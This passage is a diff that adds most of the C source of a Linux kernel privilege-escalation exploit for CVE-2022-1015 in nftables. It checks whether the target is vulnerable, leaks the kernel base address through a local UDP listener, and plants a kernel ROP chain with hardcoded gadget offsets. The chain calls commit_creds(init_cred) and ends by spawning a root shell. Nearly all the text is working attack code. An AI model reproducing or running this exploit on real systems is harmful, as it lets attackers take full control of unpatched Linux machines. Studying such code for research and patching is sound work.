     294 + char buf[4096] = {};
     295 +
     296 + struct sockaddr_in client_addr = {};
     297 + socklen_t client_addr_size = sizeof client_addr;
     298 + size_t conn_id = 0;
     299 + 
     300 + for (;;) {
     301 + 
     302 + int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size);
     303 + 
     304 + if (len <= 0) {
     305 + printf("listener receive failed..\n");
     306 + perror("");
     307 + return -1;
     308 + }
     309 +
     310 + printf("Received message from [%s:%d] (udp) (0x%x bytes):\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port), len);
     311 + hexdump(buf, len, 8);
     312 + }
     313 + 
     314 + close(fd);
     315 + 
     316 + return 0;
     317 +}
     318 + 
     319 + 
     320 +int leak_handler(int fd)
     321 +{
     322 + char buf[4096] = {};
     323 + char send_back[] = "MSG_OK";
     324 + struct sockaddr_in client_addr = {};
     325 + socklen_t client_addr_size = sizeof client_addr;
     326 + size_t conn_id = 0;
     327 + 
     328 + for (;;) {
     329 + 
     330 + int len = recvfrom(fd, buf, sizeof buf - 1, 0, (struct sockaddr*)&client_addr, &client_addr_size);
     331 + 
     332 + if (len <= 0) {
     333 + printf("listener receive failed..\n");
     334 + perror("");
     335 + return -1;
     336 + }
     337 +
     338 + sendto(fd, send_back, sizeof(send_back), 0, (struct sockaddr*)&client_addr, client_addr_size);
     339 + }
     340 + 
     341 + close(fd);
     342 + 
     343 + return 0;
     344 +}
     345 + 
     346 +void* new_stack;
     347 + 
     348 +/* This is where we return after our rop chain */
     349 +extern void _after_rop();
     350 +void after_rop()
     351 +{
     352 + 
     353 + system("id");
     354 + system("sh");
     355 +
     356 +}
     357 + 
     358 +static int install_rop_chain_rule(struct mnl_socket* nl, uint64_t kernel_base, char* chain, int* seq)
     359 +{
     360 +
     361 + // return address is at regs.data[0xca]
     362 + struct vuln_expr_params v;
     363 +
     364 + if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) {
     365 + puts("[-] Cannot find suitable parameters for planting ROP chain.");
     366 + return -1;
     367 + }
     368 +
     369 + struct nftnl_rule* r = build_rule("exploit_table", chain, NFPROTO_IPV4, NULL);
     370 + //nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, INFOLEAK_RULE_HANDLE);
     371 + rule_add_payload(r, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value);
     372 +
     373 +
     374 + int err = send_batch_request(
     375 + nl,
     376 + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
     377 + NLM_F_CREATE, NFPROTO_IPV4, (void**)&r, seq,
     378 + NULL
     379 + );
     380 +
     381 + if (err) {
     382 + perror("send_batch_request");
     383 + return err;
     384 + }
     385 +
     386 + return v.max_len;
     387 + 
     388 +}
     389 + 
     390 +void trigger_rop(struct mnl_socket* nl, uint64_t kernel_base, struct sockaddr_in* magic_addr, int rop_length)
     391 +{
     392 + 
     393 + // Structures in .data
     394 + #define INIT_NSPROXY_OFF 0x1867360
     395 + #define INIT_PID_NS_OFF 0x1866fe0
     396 + #define INIT_CRED_OFF 0x18675a0
     397 + 
     398 + // Routines in .text
     399 + #define SWITCH_TASK_NAMESPACES_OFF 0xd1040
     400 + #define COMMIT_CREDS_OFF 0xd2430
     401 + #define FIND_TASK_BY_VPID_OFF 0x0c8c80
     402 + #define BPF_GET_CURRENT_TASK_OFF 0x1ebde0
     403 + #define __DO_SOFTIRQ_OFF 0x1000000
     404 +
     405 + // Gadgets
     406 + #define MOV_RDI_RAX_OFF 0xc032fb // constraint: rcx==0
     407 + #define POP_RDI_OFF 0x92610
     408 + #define POP_RSI_OFF 0x676d2
     409 + #define POP_RCX_OFF 0x139a3
     410 + #define POP_RBP_OFF 0x6ffa8d
     411 + #define XOR_ECX_ECX_OFF 0x7110bf
     412 + #define MOV_R13_RCX_POP_RBP_OFF 0xaf089b
     413 + #define POP_R11_R12_RBP_OFF 0x054645
     414 + #define CLI_OFF 0x4df88b
     415 + #define STI_OFF 0xc061c0
     416 + #define MOV_RCX_RAX_OFF 0x2faad4
     417 + #define SWAPGS_SYSRETQ_OFF 0xe000fb
     418 + // Misc.
     419 + #define OLD_TASK_FLAGS_OFF 0x1a554a // 0x40010000
     420 + 
     421 + uint64_t *packet = calloc(1, rop_length + 8);
     422 + 
     423 + packet[0] = 0;
     424 + uint64_t* rop = &packet[1];
     425 + 
     426 + 
     427 + // 0xffffffff819d5cda <__netif_receive_skb_one_core+122> ret
     428 +
     429 + int i = 0;
     430 + #define _rop(x) do { if ((i+1)*8 > rop_length) { puts("ROP TOO LONG"); exit(EXIT_FAILURE);} rop[i++] = (x); } while (0)
     431 + 
     432 + // clear interrupts
     433 + _rop(kernel_base + CLI_OFF);
     434 +
     435 + // make rbp-0x58 point to 0x40010000
     436 + _rop(kernel_base + POP_RBP_OFF);
     437 + _rop(kernel_base + OLD_TASK_FLAGS_OFF + 0x58);
     438 +
     439 + /* Cleanly exit softirq and return to syscall context */
     440 + _rop(kernel_base + __DO_SOFTIRQ_OFF + 418);
     441 +
     442 + // stack frame was 0x60 bytes
     443 + for(int j = 0; j < 12; ++j) _rop(0);
     444 + 
     445 + /* We're already on 128 bytes here */
     446 + 
     447 + // switch_task_namespaces(current, &init_nsproxy)
     448 + _rop(kernel_base + BPF_GET_CURRENT_TASK_OFF);
     449 + _rop(kernel_base + MOV_RDI_RAX_OFF); // rcx happens to aleady be 0
     450 + _rop(kernel_base + POP_RSI_OFF);
     451 + _rop(kernel_base + INIT_NSPROXY_OFF);
     452 + _rop(kernel_base + SWITCH_TASK_NAMESPACES_OFF);
     453 + 
     454 + // commit_cred(&init_cred)
     455 + _rop(kernel_base + POP_RDI_OFF);
     456 + _rop(kernel_base + INIT_CRED_OFF);
     457 + _rop(kernel_base + COMMIT_CREDS_OFF);
     458 + 
     459 + // pass control to system call stack
     460 + // this is offset +0xc0 from our rop chain
     461 + // target is at +0x168
     462 + _rop(kernel_base + 0x28b2e4); // add rsp, 0x90; pop rbx; pop rbp; ret
     463 + 
     464 + int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
     465 + puts("Triggering payload..");
     466 + sendto(s, packet, rop_length + 8, 0, (struct sockaddr*)magic_addr, sizeof *magic_addr);
     467 +}
     468 + 
     469 +int main(int argc, char** argv, char** envp)
     470 +{
     471 + 
     472 + if (argc < 2) {
     473 + puts("[+] Dropping into network namespace");
     474 +
     475 + // We're too lazy to perform uid mapping and such.
     476 + char* new_argv[] = {
     477 + "/usr/bin/unshare",
     478 + "-Urn",
     479 + argv[0],
     480 + "EXPLOIT",
     481 + NULL
     482 + };
     483 + 
     484 + execve(new_argv[0], new_argv, envp);
     485 + puts("Couldn't start unshare wrapper..");
     486 + puts("Recompile the exploit with an appropriate unshare path.");
     487 + }
     488 + if (strcmp("EXPLOIT", argv[1])) {
     489 + puts("[-] Something went wrong...");
     490 + exit(EXIT_FAILURE);
     491 + }
     492 + 
     493 + // I'm too lazy to talk to NETLINK_ROUTE..
     494 + // Deal with it!
     495 + system("ip link set dev lo up");
     496 + 
     497 + struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
     498 + 
     499 + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
     500 + perror("[-] mnl_socket_bind");
     501 + puts("[-] Are you sure you have CAP_NET_ADMIN?..");
     502 + exit(EXIT_FAILURE);
     503 + }
     504 + int seq = time(NULL);
     505 + int err;
     506 + 
     507 + char *table_name = "exploit_table",
     508 + *base_chain_name = "base_chain",
     509 + *aux_chain_name = "aux_chain";
     510 + 
     511 + setup_nftables(nl, table_name, base_chain_name, &seq);
     512 +
     513 + if (create_chain(nl, table_name, aux_chain_name, NFPROTO_IPV4, NULL, &seq, NULL)) {
     514 + perror("Failed creating auxiliary chain");
     515 + exit(EXIT_FAILURE);
     516 + }
     517 + printf("[+] Created auxiliary chain %s\n", aux_chain_name);
     518 + 
     519 + if (create_base_chain_rule(nl, table_name, base_chain_name, NFPROTO_IPV4, NULL, &seq)) {
     520 + perror("Failed creating base chain rule");
     521 + puts("[+] Target is NOT vulnerable to CVE-2022-1015");
     522 + exit(EXIT_FAILURE);
     523 + }
     524 + puts("[+] Created base chain rule");
     525 + puts("[+] Target IS vulnerable to CVE-2022-1015");
     526 + puts("[+] Type 'y' to try exploiting the target.");
     527 + puts("!!!BEWARE: THIS IS LIKELY TO CAUSE A KERNEL PANIC!!!");
     528 +
     529 + char a[4] = {};
     530 + read(0, a, 1);
     531 + 
     532 + if (a[0] != 'y') {
     533 + puts("Bye!");
     534 + exit(EXIT_SUCCESS);
     535 + }
     536 + 
     537 + // we need to make it first in order to replace it
     538 + // it's a bit of a hack but it works
     539 + struct nftnl_rule* aux_rule = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
     540 + rule_add_immediate_verdict(aux_rule, NF_ACCEPT, NULL);
     541 + 
     542 + err = send_batch_request(
     543 + nl,
     544 + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
     545 + NLM_F_CREATE, NFPROTO_IPV4, (void**)&aux_rule, &seq,
     546 + NULL
     547 + );
     548 + 
     549 + if (err) {
     550 + perror("Failed creating auxiliary chain rule");
     551 + exit(EXIT_FAILURE);
     552 + }
     553 + 
     554 + puts("[+] Created auxilary chain's initial infoleak rule.");
     555 + 
     556 + #define SERVER_HOST "127.0.0.1"
     557 + #define SERVER_PORT 9999
     558 + 
     559 + int pid = setup_listener(SERVER_HOST, SERVER_PORT, leak_handler);
     560 +
     561 + struct sockaddr_in server;
     562 + inet_aton(SERVER_HOST, &server.sin_addr);
     563 + server.sin_port = htons(SERVER_PORT);
     564 + server.sin_family = AF_INET;
     565 + 
     566 + #define LEAK_BASE_OFFSET 0x9ac3ec
     567 + uint32_t leak = do_leak(nl, &server, table_name, aux_chain_name, &seq);
     568 + // first byte might fail due to buggy carry implementation with shift_amt = 0
     569 + // so we just set it. The LSB will always remain constant.
     570 + 
     571 + uint64_t kernel_addr = 0xffffffff00000000 + leak + (LEAK_BASE_OFFSET & 0xff);
     572 + uint64_t kernel_base = kernel_addr - LEAK_BASE_OFFSET;
     573 +
     574 + printf("[+] Kernel base @ 0x%.16lx\n", kernel_base);
     575 +
     576 + if((kernel_base & 0xfffff) != 0) {
     577 + puts("[-] Leak failed.");
     578 + exit(EXIT_FAILURE);
     579 + }
     580 + 
     581 + stop_listener(pid);
     582 + struct unft_base_chain_param bp;
     583 + bp.hook_num = NF_INET_LOCAL_IN;
     584 + bp.prio = 10;
     585 + 
     586 + if (create_chain(nl, table_name, "base_chain_2", NFPROTO_IPV4, &bp, &seq, NULL)) {
     587 + perror("Failed adding second base chain");
     588 + exit(EXIT_FAILURE);
     589 + }
     590 + 
     591 + err = install_rop_chain_rule(nl, kernel_base, "base_chain_2", &seq);
     592 + if (err < 0) {
     593 + perror("[-] Could not install ROP chain");
     594 + exit(EXIT_FAILURE);
     595 + };
     596 + 
     597 + new_stack = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + 0x3ff0;
     598 + trigger_rop(nl, kernel_base, &server, err);
     599 + after_rop();
     600 +}
Please wait...
Page is in error, reload to recover